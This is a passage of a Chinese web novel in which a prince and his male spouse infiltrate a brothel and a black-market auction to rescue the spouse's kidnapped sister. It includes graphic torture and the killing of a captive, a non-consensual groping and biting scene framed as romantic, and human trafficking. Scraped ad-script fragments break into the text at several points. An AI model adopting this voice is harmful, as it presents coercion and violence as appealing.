谢灼悄咪咪地看了白锦棠一样,正好和白锦棠打了个对眼。 那一双漂亮的桃花眼微微弯着,在昏暗的室内,仿佛会发光一样,满目的柔情,漂亮的不像话,可等仔细看,就会发现,那瞳孔身处藏着万里雪山,冰冷刺骨。 “白锦棠?” 白锦棠用手拍了拍谢灼的肩膀,在谢灼的耳边亲昵道:“我不希望再出现这样的情况,管好它,若是有下次,我就帮你做了它,让它再也起不来,懂吗?” 呼吸就撒在谢灼的耳朵和脖颈之间,酥酥麻麻的,他甚至可以闻到白锦棠身上淡淡的香气,让他莫名有些迷糊,于是耳根连带着脖子红了个彻底。 不知不觉中,那地方更硬了。 谢灼干巴巴道:“这是个意外。” “那它马上也可以意外断掉。”白锦棠道,“给你一盏茶时间穿好衣服,穿不好就呆在这里吧。” 说完,白锦棠面沉如水的离开了。 谢灼看着白锦棠,脑子里全是一些乱七八糟的东西,心里没由得一顿烦躁。 白锦棠对他做了什么,他为什么会变成这样?!莫非当初下的不是毒药,而是春药? 不过现在也不是想这么多的时候,谢灼赶紧穿好衣服,出去了。 白锦棠已经在马车等着了,他掀开帘子就看见白锦棠在闭目养神,许是察觉到了他的动作,这才纡尊降贵地看了他一眼。 谢灼心里一动,刚想说话,就见白锦棠冷哼一声,仿佛被什么污了眼睛一样,又闭了上去。 谢灼皮笑肉不笑地打招呼:“王爷等急了吧。” 白锦棠冷漠:“闭嘴。” 谢灼在白锦棠左手边坐下了,一路上都没离开白锦棠的脸,那眼神灼热的,恨不得把白锦棠生吞活剥了。 不得不说,白锦棠这皮相生的太好了些,尤其是举手投足之间的金贵和淡然,仿佛不是世间人,下一秒就要乘风归去,让人怎么也抓不住。 哪怕如今他们就在咫尺之间,却让谢灼觉得,他们隔着千山万水,如云泥之别。 这种感觉,谢灼不喜欢。 他想把白锦棠拽下来。 马车摇摇晃晃,总共就他两个人,连带着外面的马夫。 谢灼见白锦棠没制止,便光明正大地看白锦棠,目光之灼热,白锦棠想不注意都难,没一会,他微微蹙眉,睁眼瞪着谢灼:“我从前怎么没发现,夫人这双眼睛如此灵动,不知道把玩时是个什么感觉。” 谢灼脑子一抽,嘴快道:“你喜欢我这双眼睛?” 白锦棠轻笑:“那你能挖给我吗?” 谢灼往白锦棠身旁移了一点,声音低沉:“可以啊,但王爷要亲手来挖。” 白锦棠一愣,看着谢灼这般认真的样子,反而没了兴趣。 “本王嫌脏。” “啧。” 恰时,马车停了。 白锦棠踢了谢灼一脚,命令:“下车。” 谢灼掀开帘子,率先走了下来。 街上的行人并不多,是一片恍惚的黑暗,唯独不远的一座楼灯火辉煌,门口还站着不少的姑娘,穿着各色华服,笑着揽客。 白锦棠也弯腰走了出来,谢灼下意识地伸出手臂,好让人扶着下来。 还挺上道? 白锦棠挑了挑眉,将手搭了上去,下一秒,谢灼眸子闪过得逞的笑容,手臂往身前一拉一扯,白锦棠身子不稳,就要往前扑去,谢灼见此勾唇一笑,长臂一揽,将人抱在了怀里。 怀里人很轻,像是一团棉花,腰身更是纤细舒服,一只手臂就能抱住,谢灼甚至还掂了掂,嬉皮笑脸道:“王爷,您这是怎么了?” “放肆。“白锦棠训斥。 谢灼:“我救了王爷,王爷却说我放肆,真是不识好人心。” 白锦棠懒得搭理谢灼,将人推开,手里的扇子倏地打开:“你最好别出什么幺蛾子。” 见白锦棠没打算报复,谢灼得了便宜,嘴角都快咧到耳后根了,跟在白锦棠的后面,颇有些得意洋洋。 可他马上就笑不出来了,白锦棠竟然往青楼里走! “王爷刚刚还嫌弃我脏,如今却跑来青楼逍遥,是不嫌脏了吗?” 白锦棠低声道:“想救你妹妹,就老实跟着,别问太多。” 谢灼心里不屑。 果然男人都是一个样,看起来光风霁月,实则还不是为那些红颜骷髅折腰,这些女人有什么好看的,怎么就自己眼睛脏? 老鸨大老远就看见两位衣着华丽的俊俏公子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 走来,姑娘们眼睛都挪不开了,笑的花枝乱颤,几乎在白锦棠走近,香帕和披帛便如流水一样撩过来,白锦棠嘴角含笑,手里的扇子,风流扫去,挡住一众狂蜂浪蝶。 “王爷,真是许久不见了,今日还带了个俊俏小郎君?” 老鸨笑的开心,像白锦棠这样这既有钱有权还好看的郎君可不多见,周围的姑娘蠢蠢欲动,但却没有上前来。 白锦棠游刃有余道:“这位是我表兄,初到青州,便寻思着带他出来玩玩。” 老鸨:“原来是这样。” 白锦棠:“灵玉姑娘今日可在?” 灵玉是万花楼的清官,一手琵琶弹得出神入化,引得无数人觊觎,奈何白锦棠财大气粗,不出手则已,一出手便包了灵玉一整年。 只不过平时白锦棠十分低调,不曾似今日这边招摇过市,所以一般的嫖客也知道灵玉有个金主,今日才知竟是宁王。 老鸨笑:“灵玉姑娘对您那是日思夜想,夜不能寐,王爷也是个绝情的,不过前几日娶了妻,便忘了咱们灵玉,待会王爷可要好好哄才是!” 白锦棠挑眉,眼神若有所思地飘到了谢灼的身上,轻笑:“没办法,家中有个河东狮吼,脾气大了不说,还喜欢拈酸吃醋。” 谢灼的脸黑了大半。 老鸨:“咱就是说,女儿家的拈酸吃醋那是娇俏可爱,那是惹人恋爱,这男儿郎如此,却是未曾听说,王爷还需要好好调教才是,要不然以后可如何是好?” “是该好好调教。”白锦棠颔首,说着,就已经来到了灵玉姑娘的房门前。 听见动静的灵玉早早打开了门,身姿绰约曼妙,一双秋水瞳含情脉脉地瞧着白锦棠,娇软伏在门框上,她扯着白锦棠的袖子,声音如娇莺鸣啼:“王爷,多日不见,奴家好生想念啊。” “是我不对,早该来陪你的。”白锦棠声音温柔,安抚道,“今日我定要好好补偿灵儿姑娘。” 见到两人亲昵地模样,谢灼拳头紧握,死死地盯着灵玉挎在白锦棠胳膊上的手,那水蛇一般的腰身,恨不得缠到白锦棠身上。 谢灼脸越发黑了。 灵玉没看见谢灼,喜笑颜开的白锦棠道:“那王爷还不进来?” 说着,灵玉扯着白锦棠就进去了。 谢灼默不作声地跟着白锦棠,却在刚要踏进门的那刻,被拦着了。 老鸨调笑:“公子,王爷与灵玉姑娘互诉衷肠,您还是别进去了吧?” 面前的门也十分应景的被人从里面“嘭”地关上,将所有吵闹隔在门外,包括谢灼。 “是啊,公子,不如今晚就要奴家来陪你可好?” 一个身着青衣的妩媚姑娘迈着莲步款款而来,放肆又大胆,纤纤玉手眼看着就要摸上谢灼的脸颊,却被黑着脸的谢灼拂开了。 “滚!” 谢灼脸色就没好过,一双眸子如淬了毒一样,把姑娘还有老鸨吓得只打哆嗦,连连后退。 谢灼险些一口气上不去,实在想不明白,这个万花楼和黑市有什么关系,在这里招蜂引蝶。 “公子您这是?”老鸨支支吾吾地看着谢灼,谢灼直挺挺地站着,似乎在思考怎么破门而入。 谢灼言简意赅:“滚!” 听到外面的动静,已经脱了外袍的白锦棠这才从房间里,施施然走出来。 领口散开,发丝微微凌乱,令人遐想连篇。 老鸨吓得瑟瑟发抖:“王爷?” 白锦棠也不生气,笑眯眯解释道:“忘记和你们说了,本王这位表兄身上有疾,怕是要辜负姑娘们的美意了。” 众人恍然大悟,窃窃私语:“原来是不举?” “原来是个柳下惠?” “啧……” 谢灼:“……” “诸位口下留情,他脸皮薄。”白锦棠听的清楚,将杵在门口的谢灼拉了进去,随手丢给老鸨一袋金叶子,笑意盈盈道,“妈妈带着人下去吧,莫要打搅了我们二人的雅兴。” “是是是!王爷有何需要,尽管吩咐!” 8. 你真好看 等门口的人散去了,房间里也安静了下来,白锦棠顺手将自己脱下的外袍穿好,坐在了房间的椅子上。 那方才还情深款款的灵玉,瞬间收敛,站在一边,眉眼低垂,态度十分恭敬。 而谢灼脸色十分难看,弯腰坐在了白锦棠旁边的椅子上,诡谲的气氛蔓延开来,让灵玉不由多看了一眼谢灼。 白锦棠:“继续说吧。” 此事关乎重大,灵玉有些迟疑:“王爷,这位是?” 白锦棠不太想承认和谢灼的关系,于是干脆就用忽悠了老鸨的话,打算搪塞过去:“远方表兄。” 谢灼就在一边阴阳怪气道:“对,成了亲的表兄。” 白锦棠:“……” 灵玉恍然大悟,连忙参拜:“见过王爷,夫人。” 说着,灵玉开始撇清自己:“王妃,我和王爷清清白白,是他的线人,您千万不要误会。” “嗯,我知道了。”听见灵玉解释,谢灼颇有些得意地端起了正室的架子,挑衅地朝着白锦棠抬了抬下巴,还将他手里的茶水给抢了过来,迎着白锦棠震惊的眸子,谢灼嘟囔道,“怎么,好歹是你明媒正娶的,喝口水都不行。” 白锦棠:“……那是我喝过的。” 谢灼:“你喝过的我就不能喝了?啧啧,小气死了。” 白锦棠眉头跳了跳,想将杯子抢过来,结果直接被谢灼拍开了,看着有恃无恐的人:“本王就是不乐意你喝,你又能如何。” 谢灼:“呵,男人。” 白锦棠:“……你要是再这样,就给我滚。” 谢灼冷哼:“然后让你在这里寻花问柳?” 他可还记得白锦棠故意把他丢在外面,说他不举。 不过他现在可是白锦棠的夫人……想到这里,谢灼拿起了架子,手里的杯子“咣当”被放下,鼻子不是眼睛的“哼”了一声。 很好,很好。 他就是越发纵容谢灼了,让他敢在自己面前蹬鼻子上脸。 “好好好!”白锦棠连说几声好,到底没和谢灼计较。 灵玉在一边不敢吭声,努力将自己的存在感缩到最小。 白锦棠平息了一下心情,懒得搭理谢灼,准备干正事,他问:“这万花楼是黑市的其中一道入口,你刚才说,是在什么地方?” 当初白锦棠把张景洪四人查了个底朝天,这几个人都是老油条了,平日小心的不行,身边养着不少的刺客和护卫,一时半会还真动不了。 唯独这万花楼不一样,多年根基在那摆着,明面上是青楼,什么达官显贵,下九流的人都有,多多少少还都有点关系,所以和黑市做的生意最多,只要小心,也不会有人注意,不似其他几个,牵一发而动全身。 查封黑市,就要知道入口在哪里。 那座地下城才能面世。 “属下探查多日,基本上可以确定,黑市的入口就在张景洪的寝室内。”说到这里,灵玉就有些没底,“主子,张景洪十分小心,基本上只接待一些熟客,有固定的几条线,时间紧促,咱们想要搭上这条线,怕是很难。” 白锦棠颔首:“也不一定非要搭上线,非常时期当然要非常手段了,你照计划行事即可。” 灵玉:“是。” 谢灼大概也能理出来一个所以然。 想来白锦棠也没打算沉淀,而是打算带着自己直接潜入张景洪的府邸,逼问出黑市的入口,可哪里会有这么容易,他慢悠悠道:“我说王爷,你也不怕张景洪骗你,把你往死里坑?” 白锦棠理了理衣袖,前世他见过地图,虽然有些地方记忆已然模糊,但这模模糊糊的大概,已经足够他将黑市翻个底朝天了。 但这些他自然不会和谢灼说。 “这不是拉着你陪葬吗?”白锦棠道,“所以你去还是不去?” 谢灼:“去啊,怎么不去?” 人都到这了,他有的选吗? 白锦棠:“既然如此,那就闭上你的嘴,跟上来。” 灵玉:“王爷小心。” 白锦棠:“放心。” 如今万花楼正是闹腾的时候,内院反而十分的安静,白锦棠的人提前来这里踩过点,所以两个人也没走什么弯路,就到了内室。 悄无声息地解决守卫,等进了院子,才发现空荡荡的,也没什么婢女,就这样让白锦棠和谢灼摸进去了。 眼看着直捣内室,白锦棠如闲庭信步,慢悠悠地摇着扇子,竟打算就这样大摇大摆的进去,身上的琳琅环佩叮当作响,在月光下煜煜生辉,丝毫没有当卧底的自觉。 白锦棠刚想推开门,就被谢灼拦住了,他抓着白锦棠纤细的手腕,低声道:“你就这样进去?万一是请君入瓮。” 白锦棠:“夫人,你知道青州现如今最大的头子是谁吗?” 谢灼挑眉:“你?” “虽然你这样说我很高兴,但我不是。”白锦棠解释道,“你当真以为青州城的人都瞎吗?那些当官的什么不知道吗?他们知道的清清楚楚,之所以这么猖狂,那是因为青州有个知府叫做李青山,李青山背后有个静王。而唯一能和他们作对的我,缠绵病榻自身难保,他们自然有恃无恐。” 只要他们有胆子查,李青山就敢保证他们有去无回,青州多出来个病死的宁王。 静王白锦晨是白锦棠的大皇兄,白锦棠这身病体就是拜他所赐。 谢灼瞬间就明白其中关窍。 这青州说是给白锦棠的封地,其实不过是静王将白锦棠放在自己地盘上监视。 他们巴不得白锦棠去查,最好亲自来。 而白锦棠如今既然敢来,就不带怕的。 “你落水,还有前几日的刺杀,都和静王有关?” 白锦棠无所谓道:“十有八九吧。” 谢灼评价道:“啧,还真是兄友弟恭。” 白锦棠耸肩,笑着说:“夫人客气了,比不上你和令尊父慈子孝,要不怎么说是天生一对呢?” 谢灼:“……”去他妈的天生一对。 不得不说,张景洪何止是有钱,那真是富得流油,一进门,就能看见那足足摆了一整面墙的古董架子,什么前朝古物,东海东珠,半人高的血珊瑚雕,各种玉石摆件。 他的宁王府,和这里相比,还真是小巫见大巫了。 白锦棠:“去,找机关。” 这里应该有一处暗门才是。 白锦棠指尖滑过面前的玉石摆件,入手处一片冰凉,血红如火的玉石,将那骨节分明的手衬得越发白皙。 谢灼忍不住多看了一眼。 可也就这一眼,屋外传来一阵阵的脚步声,白锦棠和谢灼下意识对视,两个人不再此停留,而是往后面的隔间,也是内室里去。 奈何内室地方不大,窗户被封的死死地,一时间还真找不到脱身的地方。 ……除了屏风后的一张软榻。 只听门口“咔嚓”一声,房门被打开了,有人进来了,随之一起的还有女子的娇笑声。 两个人也不忸怩了,一前一后地滚进了床榻之下,霎时间,身体紧紧依靠在一起,丝绸床单垂落,遮住外面一片烛火,黑暗在两个人之间蔓延开来,甚至连呼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吸都是如此分明。 一个穿着纱衣的妩媚多姿的女人,靠在张景洪的身上,笑的花枝乱颤。 “哎呀,您不是说要带奴家来看无价之宝吗?怎么才到这里,就开始动手动脚起来。” 张景洪握住女人的纤纤腰肢:“无价之宝哪有你好看啊,我先来看看你。” 女人娇嗔:“大人!” “来来来,别躲,让我亲一口!骚蹄子,你再躲,我就不要你了!” 两个人推搡着往床榻这边来,乱七八糟的衣服,从门口一直落到床榻边上,白锦棠面无表情地往后移了移,试图远离这些乱七八糟的东西,结果却将自己送进了谢灼的怀里。 他背对着谢灼,看不到谢灼的表情,他反手推了谢灼一把,示意让谢灼往里面挪挪。 可谢灼却不是这样想,直接捏住了白锦棠的腕子,还胆大包天地将抱住了白锦棠的腰肢,将人往自己怀里带,下巴更是在这狭窄的空间里,枕到了他的肩窝,呼吸喷洒在白锦棠的耳侧:“王爷,你说我们这样像不像偷情的野鸳鸯?” 像个屁。 白锦棠呼吸有些不稳。 张景洪和女人已经移到了床上,床不受控制地吱嘎摇晃着,男人的喘息和女人的呻吟,还有各种床笫间的荤话,让白锦棠恨不得找个地缝钻进去,心里一百个后悔,自己为什么脑子一热,和谢灼那个王八羔子钻进了床底下,听了一出活春宫。 白锦棠无声地挣扎着,手下更是没留情,狠狠地掐着谢灼的手臂,想让谢灼放开自己。 奈何谢灼是铁了心地想要找事,又看出来白锦棠有所顾忌,不敢声张,轻轻松松地就将白锦棠连人带胳膊圈在了怀里。 看着白锦棠因为羞恼红透的的耳垂,谢灼喉咙滚动,目光灼热,声音暗哑道:“王爷最好还是别动,万一被发现了,王爷的面子和名声还要不要了?” 黑暗中,谢灼舔了舔唇,已然知道自己等到了一个很好的报复机会。 “王爷?”谢灼故意在白锦棠耳边吐着呼吸,声音磁性好听,在黑暗中,酥麻绵软。 白锦棠忍无可忍地踢了谢灼一脚。 动静有些大,让正与情人缠绵的张景洪听见了,他看着身下的面色潮红的女人道:“刚刚是不是有什么声音?” 白锦棠身体紧绷,额头布满了密密麻麻的细汗,就连呼吸都忍不住停滞。 谢灼舔了舔唇角,虽然看不见白锦棠的样子,但也能想象出来,这人必定面红耳赤。 他挪了挪身子,和白锦棠贴的更紧了,从身后,顺势捂住了白锦棠的嘴唇。 女人正得兴,才懒得管三七二十一,藕似的手臂抱着张景洪:“哪有什么声音啊?八成是你听错了!” 说完,两个人又开始缠绵起来。 白锦棠紧绷的身体松懈下来。 而谢灼看着面前在黑暗中白的发光的脖颈,和红的娇艳欲滴的耳垂,终于忍不住了,低头狠狠地咬了上来! 瞳孔紧缩,呼吸紊乱,黑夜里格外敏感的身体不可抑制地颤抖起来,舔舐、啃咬、蹂躏…… 从柔软的耳垂,最后咬上了脆弱的脖颈,梅花在雪地里绽放,有什么东西在白锦棠面前炸开了,几乎让他无法呼吸,甚至不能反抗,还要配合着放缓自己的呼吸,隐匿自己。 眼角被逼的发红,逶迤一地的风月。 他听见谢灼趴在他的耳边说:“你真好看。” 指甲陷入皮肉,刺痛让他的理智逐渐回归,他忽然意识到一件事情: 谢灼不是当了皇帝以后才疯的,而是从一开始,就是一条疯狗! 9. 一掷千金 不知道过了多久,张景洪和女人歇下了,静寂的黑暗中,烛火缓缓燃烧。 鼻尖淡淡的香气将谢灼扰的迷糊,指尖满是刚刚细腻的触感,昏沉的黑暗中,谢灼甚至能想象到,这人耳垂艳若桃李,脖颈处染上一簇接着一簇的胭脂红,恍如雪地里开出一枝梅花。 太好欺负了。 “王爷……” “松开。”白锦棠不可抑制地一抖。 谢灼目光深邃,口干舌燥。 这人怎么可以这么好欺负,还这么好看,和志怪小说里迷惑人心智的妖精一样。 谢灼不可抑制的想。 这些日子,白锦棠折腾自己,心里那股子怨气在此刻烟消云散,他甚至还想更深入的欺负白锦棠,最好把他欺负哭。 谢灼埋在白锦棠的脖颈处,狠狠地吸了一口:“松开了。” 说完,他终于松开了钳制住白锦棠的手臂,在松开的那一刻,白锦棠干净利索地逃了出去,温热的触感瞬间冰凉,看着空荡荡的怀抱,谢灼有些怅然若失的感觉。 而白锦棠理智尚且还在,出来的第一件事,就是掀开了张景洪的罗帐。 帷幔翻飞,依偎的两个人瞬间惊醒,和床前的白锦棠直愣愣打个对眼,昏暗的烛光照在白锦棠难看且冰冷的脸上,活像是个玉面修罗。 还不等床上人惊呼,白锦棠手里金珠便弹了出去,将那声尖叫扼杀在咽喉里面,张景洪还有那个女人,不仅动不了了,连话都说不出来了。 白锦棠错开眼,将地上的衣服抛在女人身上,遮住女人只穿了肚兜的身躯,然后踢了一下床榻,呵斥:“还不滚出来!” 谢灼微微叹气,认命地钻了出来。 还是刚刚那副任君采撷的模样招人喜欢。 谢灼得了便宜,自然是开心,颇有些讨好意味地伸手去碰白锦棠,结果白锦棠一个眼神扫过来,“我不想在这里揍你,你现在最后老实一点,别再惹我生气了,懂吗?” 谢灼只能悻悻地收了手。 “还愣着干什么,把他给我弄出来。” “别生气,这就把人弄出来。”谢灼一脸嫌弃地将张景洪从床上拽了下来,按在了白锦棠的面前,白锦棠撩起衣袍,坐在了房间的椅子上,手里扇子轻轻摇着,端着王爷架子,居高临下地看着张景洪。 “好久不见,楼主可还记得我?” 白锦棠要问话,谢灼立马会意,解了张景洪的哑穴,还不忘威胁道:“好好说事,别动了其他歪心思……你可以试试,是我手里的刀快,还是你养的那群护卫快。” 张景洪吓得瑟瑟发抖,跪伏在白锦棠的脚边,哀嚎道:“王爷啊,张某可是得罪了您,让您大半夜的来治罪啊,王爷啊,草民什么也不知道啊!” “本王都没问,你就什么都不知道了?”白锦棠懒得和张景洪废话,直接问,“黑市的入口在哪里?” 张景洪心里一惊,装傻充愣:“什么黑市?王爷,草民听不懂啊,草民只知道东市西市,从来没有听过什么黑市?” 白锦棠嗤笑:“本王既然问了,你就该知道,你瞒不住,张景洪,趁本王现在还有耐心审你,你最好快点交代,如若不然……”见还油盐不进的人,白锦棠道,“卸他一条胳膊。” “好嘞。”谢灼干净利索地拿起旁边的衣物,堵住张景洪的嘴,抓住他的胳膊,狠狠地往后一扯,膝盖在他的肩膀上往下一压!只听骨头错位的嘎吱声,张景洪喉咙里发出沉闷的呼噜声,眼珠子往外突,嘴里的衣物更是染上了血。 做完这一切,谢灼将人往地上一丢,等人缓过来,这才将嘴里的东西扯了出来。 白锦棠很有耐心地再问一遍:“黑市的入口在哪里?” 张景洪脸色煞白,一副半死不活的样子:“张某可以告诉王爷,只是草民想要问一问王爷,草民到底是哪里得罪了王爷,让王爷如此大动干戈,非要进这黑市不可。” 白锦棠慢悠悠道:“要怪就怪你们手底下的人不长眼睛,绑了不该绑的人,连本王夫人的妹妹,你们都敢染指。既然如此,就别怪本王不客气了。” “此事定有误会!”张景洪狼狈道,“还望王爷给个机会,草民一定下令严查,将此事告诉黑市的市主,只要三天,定然将令妹全须全尾的送回来!” 说到底,白锦棠就是个无权无势的病弱王爷,张景洪一众人还真就没把他放在眼里,此时服软,也不过是缓兵之计,白锦棠要是敢松口,他就敢把这事告诉静王,让白锦棠死在青州。 “废话太多,再卸他一条胳膊。” 谢灼毫不犹豫地将张景洪的嘴再次堵上,不顾张景洪地挣扎反抗,攥住了他的另外一只胳膊,狠狠一扯,骨头断裂的清脆声再次房间里响了起来。 “呜呜呜……”张景洪彻底虚脱,翻着白眼的倒在地上,浑身抽搐。 白锦棠再次问:“入口在哪?” 张景洪被谢灼提着头发拽了起来,逼着他直视白锦棠,张景洪颤巍巍道:“要是我告诉你了,你能不能饶我一命……” 白锦棠微微摇头:“还真是学不乖啊,再卸他一条腿。” 谢灼应道:“好嘞。” “不要!”张景洪指着面前这个屏风,“入……入口……入口就在屏风下面!那凤凰的眼睛,就是机关!” 白锦棠起身,走到那扇屏风后,发现屏风竟然是固定在地上的,随着他按住凤凰的眼睛,屏风竟然自动移开了,露出里面幽深的隧道。 “求你们饶了我吧!王爷,我也是被逼无奈的……” 白锦棠冷冷道:“逼良为娼,买卖人口,拐卖妇女儿童,都是无奈的,可真是无奈!” 张景洪哀求:“王爷,我能帮你的,没有我,你就算进了黑市,那群人也不会认你的,你给我一个将功补过的机会……” 白锦棠懒得搭理张景洪,将张景洪腰间的令牌扯了下来,吩咐谢灼道:“愣着做什么,他没用了,把他处理了。” “好。”谢灼抽出腰间的匕首,将张景洪的脖颈割开了,鲜血喷洒在屏风之上,血溅三尺,做完这一切,谢灼将目光落在床榻之上的女人身上。 “她怎么办?” 白锦棠一脚已经踏进了隧道,像是才想起来一样,袖子里的金珠打在女人的穴道上,只听女人闷哼一声,就倒了下去。 谢灼擦掉脸庞处的血滴,谢灼蹙眉:“就这样?” 白锦棠不像是个会手下留情的人,哪怕是女人,何况这个女人还可能暴露自己的计划,最妥帖的方式就是杀了。 “就这样。”白锦棠淡淡道,“跟上。” 现如今容不得谢灼思考,只能跟着白锦棠下了隧道。 隧道不长,墙壁上还燃着烛火,走了几步,白锦棠将一个青面獠牙的面具递给了谢灼,自己也带上了一个类似的,两个人这才继续往里面走。 隧道很长,走了足足一炷香,才看到了尽头,入眼处是一座空旷偌大的地下城,里面的人全都带着各色各样的面具,熙熙攘攘,灯火恍惚间,那些人仿佛地狱里恶鬼,游离在其中,这顶上是繁华青州城,地下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 却是另一个黑色的世界,贩卖着一些乱七八糟的东西,充满着压抑和窒息。 最引人注目的还是不远处,一座建筑华丽的楼。 这是一座拍卖行。 拍卖行里不限销赃,绝世珍宝,亦或者是绝世的美人奴隶,或者是一些其他特殊的要求,基本上都能在这里得到满足。 白锦棠记得,李青山有一个最大的爱好,就是收集各种各样的美人骨,尤其钟爱人骨皮影,每个皮影都是年轻少女的骨头做的。 而骨头的来源,大多数都来自这个拍卖行。 谢灼低声询问:“这里不简单,稍有不慎就可能万劫不复,我说,你有几成把握?” 在谢灼看来,白锦棠此举无异于送死。 “没有把握。”白锦棠在前面走着,他唇角含着笑,指着那座拍卖行,“我现在告诉你,你妹妹就在那里面,我们去救人,你还会不会问我有几成把握?” 谢灼不吭声了。 因为答案他们心照不宣。 谢灼想救人,白锦棠想要蓬莱草,这样就足够了。 纵然危险,他们也会闯。 拼的就是一个运气,一个命。 两个人来到了拍卖会,门口打着赤膊凶神恶煞的大汉,当即就拦住了两个人,眼神上下打量着,声音如洪钟:“哪里来的?” 这不像是普通的话,到像是黑话。 谢灼抿了抿唇,不由得看了白锦棠一眼。 只见白锦棠一派坦然,道:“小路上来的,抄了近道。” 侍卫:“哪条道?” 白锦棠嘴角噙笑,将那块从张景洪身上取下来的令牌转了转:“风月道。” 和黑市里做生意的不少,其中就数张景洪的万花楼最密切,而通过张景洪进了这黑市的人,走的也就是风月道。至于为什么是抄近道,是因为有钱,线人破例引荐,才能参加这拍卖会。 而这种人,一般都是肥羊,俗称冤大头。 大汉不敢怠慢了,连忙招呼着拍卖行的小厮道:“愣着干什么,还不带着两位贵客上座!” 小厮也知道白锦棠不好得罪,连忙陪笑地带着人上了二楼。 白锦棠手里的扇子晃了晃,打量着四周,笑着问小厮:“今晚可有什么好东西?” 小厮低着头,谄媚道:“不知贵客想要的是哪些东西?” “那可就多了。”白锦棠道,“绝色的美人,容貌上佳的奴仆,亦或者延年益寿的仙草,固然是有钱,也不知道这些千金阁可有这些?” 凌灵张扬明媚,谢灼的姐姐翠云也是清丽端庄,如今落在黑市,也不知情况怎么样了。 落到黑市的女人没什么好下场,会在千金阁里让客人们过眼,挑选出和眼缘的,剩下的要么剥了美人皮,抽了美人骨,要么被送进万花楼。 小厮沉思了一下:“美人倒是有,只是不知道贵客是否入眼。” 白锦棠随手将金叶子散了过去,勾唇浅笑:“有便是极好的,你且替我传话给你们阁主,今日的千金阁里的姑娘,无论有人出了多少钱,我在他的基础上翻一倍。” “且问他愿不愿意和我做这笔生意。” “爷,您真是财大气粗啊!”满地的金叶子撒下去,小厮眼睛看的都直了,一边手忙脚乱的捡着金叶子,“小的一定给您办好!” 白锦棠一副浪荡公子哥的气派:“本公子没什么爱好,就是喜欢救风尘。” 小厮激动道:“好嘞公子!您放心,你先稍等,小的这就传达!保证您满意!” 10. 檀木手串 等小厮走了,包厢里也算是安静下来了,白锦棠站在窗户边上往外看,他们是二楼,位置极好,不过微微低头,就能看着楼下高高的白玉台。 四周的厢房已经陆陆续续地坐满了人,一楼的空地上摆的桌子,也挤满了人。 谢灼还没从白锦棠的财大气粗中回神,不由得蹙眉:“你到底想干什么?我可不会觉得,你当真是因为想要帮我,所以才将那些女人买下来。” 先不说他们是蒙混过关进来的,就刚刚白锦棠那个势头,根本没想过低调,这样下去,他们身份必定暴露。 “有区别吗?”白锦棠目光淡淡,有些冷意,“救一个,和救全部,不都是救吗?既然有能力救,为什么不救?毕竟都是命不由己的可怜人。”话是这样说,可这语气里可没有丝毫怜悯的味道。 “你这话骗骗别人就算了,我不上当。”谢灼嗤笑道。 白锦棠挑眉:“也没想骗你,你只需要记得,是我帮了你就是,其他的你不需要管。” “什么意思?” 白锦棠:“意思就是,我会帮你救人。” 这么好心? 谢灼目光闪动,终究是没说话了。 楼下的拍卖会已经开始了,拍卖师是个娇柔妩媚的姑娘,声音娇滴滴的,夹杂着内力,在喧闹的拍卖场里异常清晰。 第一个拍卖的物品,是一个用人皮做的皮影,听说是女孩身上最稚嫩的肌肤做成的,李青山玩腻了,才丢来黑市卖掉。 白锦棠闭上了眼睛。 听着黑市周围人兴奋的大叫着,赤红的灯笼散发着血光,照在他们狰狞的面具上,此起彼伏地叫声中,带着癫疯,激动时手舞足蹈的样子,像极了一群疯子,给白锦棠一种身处地狱的错觉。 他和谢灼都没说话,静静地看着。 小厮很快就回来了,应该是见到了管事的,兴冲冲地朝白锦棠报喜:“公子,我家主人已知道公子的诉求,他说既然公子喜欢,您又是张老板推荐的人,那些姑娘也不需要上卖场了,等拍卖会结束,直接跟着公子走便是了。” 说着,他从怀里掏出来一个薄薄的册子:“这是花名册,那些姑娘的画像名姓籍贯年龄,还有她们的定价……我家主子想和公子结个善缘,公子照最低价格给就是了。” 白锦棠翻了一翻,足足有十几个姑娘,样貌端庄美丽,几下子翻过来,还真就被他翻到了熟人。 “你家主人既是做生意的,本公子怎么能让你家主人亏本,就按照定价翻上两倍吧。”白锦棠食指懒洋洋的点着画册,吩咐道,“至于这画册,就送给我吧。” 所谓定价,已经是翻倍过后的价格,里面还有不少歪瓜裂枣,如今遇见冤大头脱手,小厮可不把白锦棠当财神爷一样供着,笑的下巴都快砸到脚背上了:“那是自然,那是自然!” 白锦棠:“嗯,本公子再看看别的。” 拍卖场上的东西不干净,白锦棠也没打算要拍些其他东西回去。 直到一个檀木手串出现在卖场上,白锦棠才有了点兴趣。 说来也巧,这可是谢灼失忆前随身携带的东西,前世的时候,和他还有些渊源。 彼时,他和谢灼针锋相对,水乳交融本是人间极乐,他们却弄得像是打架,他只记得有一次他被弄得实在受不住了,迷迷糊糊之间,谢灼将他抱在怀里安抚,手腕上被套上了这个檀木手串。 当时谢灼是怎么说来着? 定情信物。 呵,好一个定情信物。 想到这里,白锦棠心里就冒出来一股气,毫不犹豫地瞪了一眼谢灼,却发现谢灼也正瞧着那手串发愣。 白锦棠漫不经心道:“想要?” 那串檀木珠串实在是太过平平无奇了,价格也只有百两,从拿出来到如今,也没有加价,刚刚还热情似火的买主,哑火了。 谢灼望着白锦棠,道:“那檀木手串,能买下来吗?” “可以啊。”白锦棠笑脸如花。 即使是失忆,谢灼还是想要这玩意,看来对谢灼很重要啊,他自然不会拒绝。 谢灼一愣,没想到白锦棠这么容易就答应。 他倒不是多喜欢这串珠子,而是不知道为什么,每看向这串珠子,他心里就难受的厉害,像是被人挖空一块似的,难受的紧。 这东西对他应该有特殊意义的,亦或者本就是他的东西。 “谢谢。”谢灼不由得心里一暖。 看来这毒夫也没有这么讨厌。 旁边的小厮见此,十分有颜色,“公子喜欢?小的这就给您取来!”说完,小厮连忙跑走了,没过多久,就从下面把那串珠子给拿了上来。 “两位公子请。” 谢灼迫不及待地打开木匣子,将里面的檀木珠串拿了出来,在手里把玩了一下,看着上面漂亮的纹路,不由得摩挲起来,有种爱不释手的感觉。 “喜欢吗?”白锦棠问。 